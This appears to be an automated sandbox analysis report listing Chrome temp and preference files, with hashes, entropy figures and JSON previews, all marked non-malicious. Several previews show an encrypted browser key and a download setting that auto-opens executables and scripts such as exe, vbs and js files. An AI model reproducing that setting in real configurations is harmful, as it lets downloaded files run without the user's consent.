SHA1:	A34672C3303FED7803845A454870E406DF4F21C5
SHA-256:	740348FB4F4975EE86B0DB76F78374EBA0E10A9BF03C1527CCB33B94A10BB5D4
SHA-512:	97466CD7F43F3504205F1D5AFFB292997F85AD49B09564420B991DA47AB5E83A925C6F6A239C578832E5EC4D9E52E658F9D576AAACB9B2D9E6D8F942C3BC779F
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.660656361607613e+12,"network":1.66065715e+12,"ticks":64507744.0,"uncertainty":1461179.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0g

C:\Users\user\AppData\Local\Google\Chrome\User Data\3a8af45e-1526-403f-b555-429e43ce71b3.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	61167
Entropy (8bit):	6.070611598661161
Encrypted:	false
SSDEEP:	1536:e871LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyGy:e8711NyBTOgd0HhmAnhqj3ry
MD5:	136A71F6270928D112FB5EE399BAC1F7
SHA1:	A34672C3303FED7803845A454870E406DF4F21C5
SHA-256:	740348FB4F4975EE86B0DB76F78374EBA0E10A9BF03C1527CCB33B94A10BB5D4
SHA-512:	97466CD7F43F3504205F1D5AFFB292997F85AD49B09564420B991DA47AB5E83A925C6F6A239C578832E5EC4D9E52E658F9D576AAACB9B2D9E6D8F942C3BC779F
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.660656361607613e+12,"network":1.66065715e+12,"ticks":64507744.0,"uncertainty":1461179.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0g

C:\Users\user\AppData\Local\Google\Chrome\User Data\3b1fbcb6-e656-42d0-858f-8bfeab04a05f.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	61167
Entropy (8bit):	6.070605636580308
Encrypted:	false
SSDEEP:	1536:0g71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyGy:0g711NyBTOgd0HhmAnhqj3ry
MD5:	9F980DECA41A8ADBDE3A6B5B998753B6
SHA1:	0995456236CD1CC3F0AAE55E0984B4611D9C61F8
SHA-256:	F8178ADDE852051A07B2A61C1EC38809D88B7ACFD9EB576D69059B5C4784ABA6
SHA-512:	9133242D8F4B1A1889C2C32510E8920EF55469D0ED067ADA9988E67C61D4B9D66C8FDAEBC3D8A4728A1A4F3D72AB4482E6496D3488B16E1BABE1071E7C6CD8AA
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.660656361607613e+12,"network":1.66065715e+12,"ticks":64507744.0,"uncertainty":1461179.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0g

C:\Users\user\AppData\Local\Google\Chrome\User Data\440fabc8-f5de-4c49-960e-1e920f8cc6e6.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	modified
Size (bytes):	61167
Entropy (8bit):	6.070610341238447
Encrypted:	false
SSDEEP:	1536:2D71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyGy:2D711NyBTOgd0HhmAnhqj3ry
MD5:	708E25633DBBB891A4E8E2F72E8259DD
SHA1:	3D593D00C07AC0440D46E9E0073E6885F4FFB9E3
SHA-256:	32A69E45CE1B0C6F0F4391DD490E9426523EA6DBA1767A8BB22A2964DC2E9B5B
SHA-512:	E64DAC8ECEFCC7410175BA2684D00E289E2FAF9212B8427FCF062DD2548099C28081E23F30C16C25D9CB96140978DFF06EA78594C9737FE5A4EEB81077EA16FA
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.660656361607613e+12,"network":1.66065715e+12,"ticks":64507744.0,"uncertainty":1461179.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0g

C:\Users\user\AppData\Local\Google\Chrome\User Data\5b5be0ff-3bd0-4b87-a6a5-d3e4f2dc2583.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	modified
Size (bytes):	61167
Entropy (8bit):	6.070604270843706
Encrypted:	false
SSDEEP:	1536:0z71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyGy:0z711NyBTOgd0HhmAnhqj3ry
MD5:	0668F397A6A84D7C1E3CE4A2726F529E
SHA1:	205C0943626894FDDA3438ED7BAC685FBED7423E
SHA-256:	C03ADAF77E31A4FE6BB12689813B30EC4461836CEF53F29E68C5130484306E46
SHA-512:	6FE64AC165AE64233937DA55F67B97401975FF940AA9DBACBCA65C3A118E2F017BB0EB97FDD44E8602AAD423904AB2965BE91199EA1AC7E92460E854D16D2228
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.660656361607613e+12,"network":1.66065715e+12,"ticks":64507744.0,"uncertainty":1461179.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0g

C:\Users\user\AppData\Local\Google\Chrome\User Data\658d0fa2-abda-4bcf-8d32-8f1d293f1149.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	118531
Entropy (8bit):	6.04917121590485
Encrypted:	false
SSDEEP:	3072:ZbatS55TnNtTFS788k8oZo711NyBTOgd0HhmAnhqj3qH:ZFHD3FS7V20XNyTOpBmAh4qH
MD5:	191BDAB7977F0AB810402D466BFC31AF
SHA1:	9C81BA3366EA572058E56ECA26A6146B9A0B9584
SHA-256:	5BB0C32E24CD51CCBE2FB61629AEC4F7ABDFC0F7C3DAC01B1968DB3480C35F78
SHA-512:	5AFD9FEE0BA98CD0827C784F9A371929E3CF30F7931D0CF26D8DBB21D2BCE6FC51CFFDC9F0E09366AED950BD4BB54A0162244D8BD0B8E02FF3E0B1DEA711C05E
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.66121895344755e+12,"network":1.661218954e+12,"ticks":167389279.0,"uncertainty":2577507.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0

C:\Users\user\AppData\Local\Google\Chrome\User Data\718d9f98-2e86-447f-993e-1a3a9ba37a8b.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	118531
Entropy (8bit):	6.049170650126942
Encrypted:	false
SSDEEP:	3072:+fatS55TnNtTFS788k8oZo711NyBTOgd0HhmAnhqj3qH:+hHD3FS7V20XNyTOpBmAh4qH
MD5:	D40611A9ED948BB1CD2B112B0A250A76
SHA1:	2146D5940ED7D02240FB0A135770E37B89E032F0
SHA-256:	2370573AC790C58D5EF74C45669F13561FF794C84AE9C98E2AEA624C9E550058
SHA-512:	43B45FB925B7353CA3D1DD72D46368DF30467B4C889CAAB67D55C80A412168267D719C486360D98A6888E0EB1B0EC181AE3C50FE0CC7A80C08414987CF937045
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.66121895344755e+12,"network":1.661218954e+12,"ticks":167389279.0,"uncertainty":2577507.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0

C:\Users\user\AppData\Local\Google\Chrome\User Data\76a01681-0b79-4ad1-a1fc-688f59991acf.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	120214
Entropy (8bit):	6.05664671777654
Encrypted:	false
SSDEEP:	3072:8atS55TnNtTFS788k8oZo711NyBTOgd0HhmAnhqj3qH:4HD3FS7V20XNyTOpBmAh4qH
MD5:	96A782F7B275C5F768B0BAFB0FB99C03
SHA1:	B80CAC07BFF976D06ED8C74241C5F7DCAC9AFC53
SHA-256:	4CE8C888B4D7C39F324E9E9778AEC52AE3096AAF78B4F1677D9EB5497B523953
SHA-512:	B8BF1783A8C0C2E7EE526561573175EE824BE980A966086458B27B8CEACAA83FFFCBB677E82BA71CA8DFAF884BF9928A8077A4654A059E4ED3030591537A2D2B
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.66121895344755e+12,"network":1.661218954e+12,"ticks":167389279.0,"uncertainty":2577507.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0

C:\Users\user\AppData\Local\Google\Chrome\User Data\8e86c3ba-ba0b-48bc-a900-c4ac20581255.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	unknown
Preview:	{}

C:\Users\user\AppData\Local\Google\Chrome\User Data\9ed0a33f-f53b-4ea3-bd02-03657f72b951.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	61167
Entropy (8bit):	6.070604270843706
Encrypted:	false
SSDEEP:	1536:0z71LMtANJaRBOHK5KvtgBhqQ0HTgHImA01exhi8qjyDKlyGy:0z711NyBTOgd0HhmAnhqj3ry
MD5:	0668F397A6A84D7C1E3CE4A2726F529E
SHA1:	205C0943626894FDDA3438ED7BAC685FBED7423E
SHA-256:	C03ADAF77E31A4FE6BB12689813B30EC4461836CEF53F29E68C5130484306E46
SHA-512:	6FE64AC165AE64233937DA55F67B97401975FF940AA9DBACBCA65C3A118E2F017BB0EB97FDD44E8602AAD423904AB2965BE91199EA1AC7E92460E854D16D2228
Malicious:	false
Reputation:	unknown
Preview:	{"browser":{"last_redirect_origin":"","last_whats_new_version":104,"shortcut_migration_version":"104.0.5112.81"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en-GB"},"invalidation":{"per_sender_topics_to_handler":{}},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.660656361607613e+12,"network":1.66065715e+12,"ticks":64507744.0,"uncertainty":1461179.0}},"os_crypt":{"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABaHlwIoHYlQKZwuwW8V0yxAAAAAAIAAAAAABBmAAAAAQAAIAAAAOT4j8Zm9U1zXX6oEUpPqIYBIjSlOiLGeiMKiIFJZDroAAAAAA6AAAAAAgAAIAAAAFW1OavBhyV7qwszPZbindD+KU2Osh5O7HSmDPpFnuCDMAAAAGEkmqbufgFUSmOzx4cW7Aup7spqps4DvqbPrwRgUGqSpRZvQkbO+yVH56WF9zMTt0AAAAAyRwtYxjf7/AqYrFr0JZ6kbTiUt0/2PKkCw7ntLtbN2qrad7I3MeL4iNGDFgqRlhWgsb/6w0g

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	3.3041625260016576
Encrypted:	false
SSDEEP:	3:FkXwgs0oRLn:+taRLn
MD5:	7AE9008C2AA5ED3E5ED52743E082F5BF
SHA1:	CD90099842F51474494BFC490433578A89C1B539
SHA-256:	94E7D9BF431A0E3F0FD02F0FBA7321F43DD8B523E3D32092AFC474D3FD5ABF62
SHA-512:	596E66D10186ADAD552F4CF7E74CD438AD19AF4C30950D2D6EB80E9F9430CA475D12BB79423EC8D15EAF37ABE0AD1DCCAE459C356A00055A82155C24A35C6F14
Malicious:	false
Reputation:	unknown
Preview:	sdPC.....................UO..E.D.Q.o....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\02b8cd7c-dff4-4655-80d8-478dd79f8e31.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	8735
Entropy (8bit):	5.136546672024772
Encrypted:	false
SSDEEP:	192:1oW1XIY988yy+FqUkxON2+a080K1bcgqj0+tjEsXtScJ:1TXyxq7a2yPtIsXtScJ
MD5:	5C9493B85927283A05359EDBA58E4389
SHA1:	CACAB2C91484E1BDFBE9792DE707095EB66CC041
SHA-256:	B140A9C1289922F71F0CA8A46786CCE849FB7D9491646FEC0ABA7FD027044ACA
SHA-512:	302ABC175CED08324447E474F45CF69C0BFFAE768CCA6983629EAA0D808421D6BD240BB8465D36CB98BDB7CAE871DD9DA9F97FEA54365CA503C5F40D0C41D6C9
Malicious:	false
Reputation:	unknown
Preview:	{"NewTabPage":{"PrevNavigationTime":"13305129961387853"},"account_tracker_service_last_update":"13305692552716526","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":104},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_all_tabs":false},"browser":{"has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13305692552699317"},"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mht:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\132e3db4-bb90-4d5a-a66b-978c04d738de.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	4.839700558686836
Encrypted:	false
SSDEEP:	3:iKuohKaGub:i9ohVGE
MD5:	3D54D2DC3FF38B8C90ECBC725364EE12
SHA1:	CBC18B39ACD63996DA59DC4C4C9FA81F72141CEA
SHA-256:	A5CC1D05E8445FFEDD310C08E271A7D1CBB9E17E6D04F1BBB1D9E43A8DCE9EF9
SHA-512:	67C44A9BAD010DF1B79C36C579AF518294BE4CCA1BD43ED0B818DD222AE45803A51C90528E8B61506039522A911DE9547382704606F2FC368662FCE477B2327F
Malicious:	false
Reputation:	unknown
Preview:	v10.Z...~E..[.E./.....A.>.0KE.T

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\151c2e23-13ce-4d74-9507-3ca9c4beb441.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	14764
Entropy (8bit):	5.568145407996317
Encrypted:	false
SSDEEP:	384:IlQLlTXo1kXqKf/pUZNCgVLH2HftirUa2TW4T:LLl7o1kXqKf/pUZNCgVLH2HfcrUaSWk
MD5:	44AE1781D926FD0814FC6FBE8A82DA2F
SHA1:	B30A827D3D8C58F9FA58FF4CEEDEFF0643B34186
SHA-256:	6B44990540B4404629EFBC1D9948B2F5E9E9887C702784EA74AC278307340344
SHA-512:	4E2CB305504D7CFB7484B938F4B6F930B8318E3782969A1F447745CAC647D6E07EFA2838CAFF3215C7A353B83C1798A07C198227DC4DE3A0D8FB3807CE267A72
Malicious:	false
Reputation:	unknown
Preview:	{"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mht:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz"},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13305692547366154","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"web

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\5d34f163-dd5c-42d4-82fe-4463bbb9e8cb.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\6e58e652-cf75-4ef2-aba3-bdac65f89acb.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	8736
Entropy (8bit):	5.1370510939975365
Encrypted:	false
SSDEEP:	192:1oW1XIY988yy+FqlkVUN2+a080K1bcgqj0+tjEsXtScJ:1TXyxqUk2yPtIsXtScJ
MD5:	6F5F31B65E4523A4A42B453AA3513D68
SHA1:	7DFB66F35F7CBB61C75B7A385479F4D9937808C7
SHA-256:	56C9E014BA58FF7EBA579E1E24C628657E959A3BD01D786ED4C593801D2DE0C1
SHA-512:	55BB71868CF614773FF29CC0D7588CFC68C804D86A05CFA4B371321338FDB273311817C550A09E0D061B543EECF3AB9790E9DDEEB27B5941D3213B37FD657B75
Malicious:	false
Reputation:	unknown
Preview:	{"NewTabPage":{"PrevNavigationTime":"13305129961387853"},"account_tracker_service_last_update":"13305692552716526","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245924509391818","autocomplete":{"retention_policy_last_version":104},"autofill":{"orphan_rows_removed":true},"bookmark_bar":{"show_on_all_tabs":false},"browser":{"has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"default_apps_install_state":3,"domain_diversity":{"last_reporting_timestamp":"13305692552699317"},"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mht:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\7bb39851-64ca-40a2-b5cd-1c69f2e265ef.tmp

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	8945
Entropy (8bit):	5.136964275893145
Encrypted:	false
SSDEEP:	192:1oW1XIYN88yy+FqAkh7N2+a080K1bcgqj0+tjEsXtScJ:1T7yxqb52yPtIsXtScJ
MD5:	F977D7D87270F85CD7319F37D9071945
SHA1:	361FC005B72DD4F69920A1C204CB468EFF4C4CDF
SHA-256:	4BD17753BFC3D8355D7E152FF5B1DBC46D68C4C33E2FC848B09405C197B1F967
SHA-512:	91882BAF649B16CFDC6786D3BDA2319040808B71564B1FDE5ED5E64EEC02C143DFCD8C65731D82F9890213FAA910AE728D03E0370DB98BBF7994F2BFF01637B1
Malicious:	false
Reputation:	unknown
